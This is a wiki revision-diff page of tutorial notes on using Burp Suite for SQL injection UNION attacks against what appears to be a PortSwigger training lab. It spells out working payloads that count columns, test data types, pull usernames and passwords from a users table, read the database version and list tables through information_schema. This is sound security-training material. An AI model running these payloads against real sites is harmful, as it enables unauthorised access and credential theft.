From charlesreid1

No edit summary
 
(10 intermediate revisions by the same user not shown)
Line 18: Line 18:
Repeater also has the ability to easily URL-encode plain text (Command-U will URL-encode the selected text), making SQL queries easier to craft.
Repeater also has the ability to easily URL-encode plain text (Command-U will URL-encode the selected text), making SQL queries easier to craft.


==Finding Vulnerable Site==
==Finding a Vulnerable Site==


Here is an example of an e-commerce website that is vulnerable to SQL injection:
Here is an example of an e-commerce website that is vulnerable to SQL injection:
Line 29: Line 29:


(If so, it indicates that the underlying SQL query may have failed because of a syntax error, meaning user input is not escaped.)
(If so, it indicates that the underlying SQL query may have failed because of a syntax error, meaning user input is not escaped.)


=Union Attacks=
=Union Attacks=
Line 51: Line 50:
Next, find columns with useful data types by modifying the SELECT query above to include a string type instead of a NULL type: <code>' UNION SELECT 'a',NULL,NULL,NULL--</code>
Next, find columns with useful data types by modifying the SELECT query above to include a string type instead of a NULL type: <code>' UNION SELECT 'a',NULL,NULL,NULL--</code>


Now, use that to craft a query. For example, suppose the injection-vulnerable query returns 5 columns, 3 of them are text. Further suppose that we are after usernames and passwords, and we know we can find them in the "users" table. Then we need to craft a query that will result in two columns of text (one column is usernames, other column is passwords) and UNION that with the 5 columns the injection-vulnerable query returns.


 
If the query returns columns of type string, number, string, string, number, then we could use this value for the category variable:
 
 
We use the UNION SELECT payloads in this case. Trying with 1 or 2 NULL values returns a server error:
 
[[Image:SQL Injection UNION Attack Burp 3.png|500px]]
 
But once we try with 3 NULL values, the server successfully renders the page
 
[[Image:SQL Injection UNION Attack Burp 4.png|500px]]
 
 
===Another Example: Order By, and Non-Microsoft SQL Server===
 
MS SQL databases accept <code>--</code> to start comments, but if it's not an MS SQL database, it may not accept the <code>--</code>. Instead, you need to use a hash sign to terminate the query early.
 
In this case, the procedure covered above needs to change slightly. Let's also cover how to use ORDER BY instead of SELECT NULL.
 
We start with the same vulnerable web application with its vulnerable "category" URL parameter:


<pre>
<pre>
/filter?category=xyz
' UNION SELECT username, NULL, password, NULL, NULL from users--
</pre>
</pre>


Start out by browsing to that page in the Burp proxy. Turn on Intercept Traffic and refresh the page. You should now see the request for the /filter URL, with its "category" value set.
This would UNION the two columns username/password with the first and third columns returned by the SQL query being injection-attacked.


Now right click on this request, and send to repeater. Then you can turn off Intercept Traffic, and switch over to Repeater.
Note, if a query that can be injected only returns one field, and you want to retrieve multiple fields from another table with a single UNION query, you can use string concatenation to combine multiple fields into a single column, and perform the UNION on single columns.


Here's what the un-tampered-with request might look like:
=Examining Databases=


[[Image:SQL Injection UNION Attack Burp 9a.png|500px]]
{{Main|SQL Injection/UNION Attack}}
 
Now we can use the following SQL query in place of the category: <code>' ORDER BY 1--</code>
 
(This will try to order the results that are being returned by the /filter URL by the first column. Increment to 2, 3, 4, etc. to discover how many columns the SQL query being attacked is returning.)


This request, when URL-encoded, is easy enough that we probably don't need Burp to do it for us: <code>'+ORDER+BY+1--</code>
In this section we cover some strategies for using UNION attacks to obtain information about the database.


However, in some cases, this will still return a 500 error:
* Perform the above steps to determine how many columns are returned by an injectable query and what their types are


[[Image:SQL Injection UNION Attack Burp 9b.png|500px]]
* Determine what character is the comment character, <code>--</code> or <code>#</code>
** This is a pretty easy way to get some info on the type of server
** List of SQL server comment styles: https://portswigger.net/web-security/sql-injection/cheat-sheet
** <code>--</code> is Oracle, MS SQL, PostgreSQL
** <code>#</code> is MySQL


In this case, we can try terminating the query string with a hash sign: <code>' ORDER BY 1 #</code>
* Determine what version the server is (this will require crafting a UNION attack)
 
** See cheat sheet for list of SQL version functions: https://portswigger.net/web-security/sql-injection/cheat-sheet
The hash sign must be URL-encoded, and Burp Suite will come in handy because it has built-in capabilities to obtain the URL-encoded version of a string.
 
When in repeater, and modifying the request URL, you can type the SQL query in a way that is NOT URL-encoded, and then select the text, and click Command-U to URL-encode the text.
 
Before:
 
[[Image:SQL Injection UNION Attack Burp 9c.png|500px]]
 
After:
 
[[Image:SQL Injection UNION Attack Burp 9d.png|500px]]
 
Once we send that request, we see the server return a 200 code, meaning we can continue on with our ORDER BY attacks to enumerate columns.
 
[[Image:SQL Injection UNION Attack Burp 9e.png|500px]]
 
 
==Determining Column Data Types==
 
{{Main|SQL_Injection/UNION_Attack#Determining_Column_Data_Types}}
 
===Example - Determine Data Type of Columns===
 
Start with the same vulnerable e-commerce application, and still using the un-sanitized "category" variable. Start by repeating the attack shown above, to verify we are still dealing with the same number of columns:
 
<pre>
/filter?category='+UNION+SELECT+NULL,NULL,NULL--
</pre>
 
confirm that the page renders and does not return any error, indicating we are dealing with 3 columns:
 
[[Image:SQL Injection UNION Attack Burp 5.png|500px]]
 
Now we modify the query:
 
<pre>
/filter?category='+UNION+SELECT+'a',NULL,NULL--
</pre>
 
This returns an internal server error, so the first column is not a string type:
 
[[Image:SQL Injection UNION Attack Burp 6.png|500px]]
 
When we try the second column, the web application successfully renders the page, which means the second column returned is a string type:
 
<pre>
/filter?category='+UNION+SELECT+NULL,'a',NULL--
</pre>


[[Image:SQL Injection UNION Attack Burp 7.png|500px]]
* Obtain a list of all tables in the database (also requires crafting a UNION attack)
** See cheat sheet for list of SQL server list-all-tables functions: https://portswigger.net/web-security/sql-injection/cheat-sheet
** This one can be tricky, mainly because the SELECT *, and the variable number of columns returned
** Can concatenate different columns together, but that requires knowing the names of fields
** Is there a way to get names of fields in a given table??
** Columns returned by <code>SELECT * FROM information_schema.tables</code> include the following:
*** <code>TABLE_CATALOG</code>
*** <code>TABLE_SCHEMA</code>
*** <code>TABLE_NAME</code>
*** <code>TABLE_TYPE</code>


The last column is not a string type either,


<pre>
<pre>
/filter?category='+UNION+SELECT+NULL,NULL,'a'--
GET /filter?category='+UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables-- HTTP/1.1
</pre>
 
[[Image:SQL Injection UNION Attack Burp 8.png|500px]]
 
 
==Retrieving Data from Other Columns==


{{Main|SQL_Injection/UNION_Attack#Retrieving_Data_from_Other_Columns}}
GET /filter?category='+UNION+SELECT+NULL,NULL+FROM+users_bbdvzx-- HTTP/1.1


===Example - Retrieve Data from Other Columns===
GET /filter?category='+UNION+SELECT+*+FROM+users_bbdvzx-- HTTP/1.1
 
Start with the same e-commerce web application with the same SQL injection vulnerability in the category variable.
 
[[Image:SQL Injection UNION Attack Burp 9.png|500px]]
 
We start by repeating the two SQL injection attacks covered above, to verify that the products page is returning two fields, and that both fields are strings.
 
Now, we know that the products category page is fetching two string columns, and so we can do a UNION attack and fetch two other string columns. In this case, the username and password columns of the users table.
 
Craft the SQL injection query:
 
<pre>
/filter?category='+UNION+SELECT+username,password+FROM+users--
</pre>
</pre>
This will create a query that is the union of usernames/passwords with the (empty) products query:
[[Image:SQL Injection UNION Attack Burp 10.png|500px]]
==Retrieving Multiple Values in One Column==
{{Main|SQL_Injection/UNION_Attack#Retrieving_Multiple_Values_in_One_Column}}
===Example - Retrieving Multiple Values in One Column===
[[Image:SQL Injection UNION Attack Burp 11.png|500px]]
=Examining the Database=
{{Main|SQL Injection/UNION Attack#Examining the Database}}
==Querying the Database Type and Version==
{{Main|SQL_Injection/UNION_Attack#Querying_the_Database_Type_and_Version}}
===Example - Retrieving Database Version from Oracle===
===Example - Retrieving Database Version from MySQL and MS SQL===
Working with the vulnerable web app with the category parameter that is vulnerable to SQL injection.
We start by finding the number of columns. In the process, we find that <code>--</code> doesn't work as a statement-terminating sequence, but <code>#</code> does.
[[Image:SQL Injection UNION Attack Burp 9b.png|500px]]
[[Image:SQL Injection UNION Attack Burp 9c.png|500px]]
[[Image:SQL Injection UNION Attack Burp 9d.png|500px]]
When we inject <code>' ORDER BY 1 #</code> the application is ok
When we inject <code>' ORDER BY 2 #</code> the application is ok
When we inject <code>' ORDER BY 3 #</code> the application crashes, so there are 2 columns being returned
We can verify the columns being returned are text (which we can deduce from the UI, which has two text fields for each product) by injecting <code>' UNION SELECT 'a','a' #</code>
This returns a 200, meaning there are 2 columns of text returned by the SQL query we are injecting
[[Image:SQL Injection UNION Attack Burp 10d.png|500px]]
Last, we know that we can get the version of the server (https://charlesreid1.com/wiki/SQL_Injection/UNION_Attack#Querying_the_Database_Type_and_Version) by using <code>SELECT @@version</code>, but this returns a string with the version number, and we have to make two columns for the union query to work.
We inject the following query: <code>' UNION SELECT @@version,NULL #</code>
This will put the version in one column and nothing in the other. This adds one more product to the bottom of the list of products, which contains the SQL server version number.
This sequence shows entering the injected query in plain text, then using Command-U to render it in URL encoding, then the resulting request (note the version number in the bottom right of the third image):
[[Image:SQL Injection UNION Attack Burp 10e.png|500px]]
[[Image:SQL Injection UNION Attack Burp 10f.png|500px]]
[[Image:SQL Injection UNION Attack Burp 10g.png|500px]]


=Resources=
=Resources=

Latest revision as of 02:11, 17 March 2022

This page contains notes on how to use Burp Suite to perform SQL injection attacks.

Burp Suite for SQL Injection

Burp Suite Workflow

The usual workflow when looking for SQL injection vulnerabilities looks something like this:

  • start burp suite and open target site in burp proxy browser
  • find a page or request containing a parameter that could be vulnerable to SQL injection
  • turn on intercept, and intercept the request
  • send the request to repeater

Now that you have the request in repeater, you can craft SQL queries and see the response from the server.

Repeater also has the ability to easily URL-encode plain text (Command-U will URL-encode the selected text), making SQL queries easier to craft.

Finding a Vulnerable Site

Here is an example of an e-commerce website that is vulnerable to SQL injection:

SQL Injection UNION Attack Burp 1.png

The category=xyz parameter in the URL is the insecure portion of the application because it is not sanitized before being used in an SQL query.

Shortcut method to check if a parameter is vulnerable to SQL injection: try setting it to a single quote and see if the server returns an error.

(If so, it indicates that the underlying SQL query may have failed because of a syntax error, meaning user input is not escaped.)

Union Attacks

Link: https://portswigger.net/web-security/sql-injection/union-attacks

Procedure for carrying out a UNION attack:

  • Determine the number of columns
  • Determine the data types of columns
  • Use this information to craft an attack

A UNION attack starts like most SQL injection attacks - with a single quote.

Start by finding the number of columns, by using ' UNION SELECT NULL, NULL-- or ' ORDER BY 1--'

You'll probably need to run this one a few times, with different numbers of NULL or column numbers, to figure out how many columns are returned by the vulnerable parameter.

Next, find columns with useful data types by modifying the SELECT query above to include a string type instead of a NULL type: ' UNION SELECT 'a',NULL,NULL,NULL--

Now, use that to craft a query. For example, suppose the injection-vulnerable query returns 5 columns, 3 of them are text. Further suppose that we are after usernames and passwords, and we know we can find them in the "users" table. Then we need to craft a query that will result in two columns of text (one column is usernames, other column is passwords) and UNION that with the 5 columns the injection-vulnerable query returns.

If the query returns columns of type string, number, string, string, number, then we could use this value for the category variable:

' UNION SELECT username, NULL, password, NULL, NULL from users--

This would UNION the two columns username/password with the first and third columns returned by the SQL query being injection-attacked.

Note, if a query that can be injected only returns one field, and you want to retrieve multiple fields from another table with a single UNION query, you can use string concatenation to combine multiple fields into a single column, and perform the UNION on single columns.

Examining Databases

In this section we cover some strategies for using UNION attacks to obtain information about the database.

  • Perform the above steps to determine how many columns are returned by an injectable query and what their types are
  • Obtain a list of all tables in the database (also requires crafting a UNION attack)
    • See cheat sheet for list of SQL server list-all-tables functions: https://portswigger.net/web-security/sql-injection/cheat-sheet
    • This one can be tricky, mainly because the SELECT *, and the variable number of columns returned
    • Can concatenate different columns together, but that requires knowing the names of fields
    • Is there a way to get names of fields in a given table??
    • Columns returned by SELECT * FROM information_schema.tables include the following:
      • TABLE_CATALOG
      • TABLE_SCHEMA
      • TABLE_NAME
      • TABLE_TYPE


GET /filter?category='+UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables-- HTTP/1.1

GET /filter?category='+UNION+SELECT+NULL,NULL+FROM+users_bbdvzx-- HTTP/1.1

GET /filter?category='+UNION+SELECT+*+FROM+users_bbdvzx-- HTTP/1.1

Resources

Links

Port Swigger Burp Suite training material:

YouTube

SQL injection lab 7 - querying db type/version on oracle: https://www.youtube.com/watch?v=neeY0iVa_0A

SQL injection lab 8 - querying db type/version on mysql and ms sql: https://www.youtube.com/watch?v=MFTk_LNRW0g

YouTube

Helpful video covering the MySQL and MS SQL version vulnerabilities: https://www.youtube.com/watch?v=MFTk_LNRW0g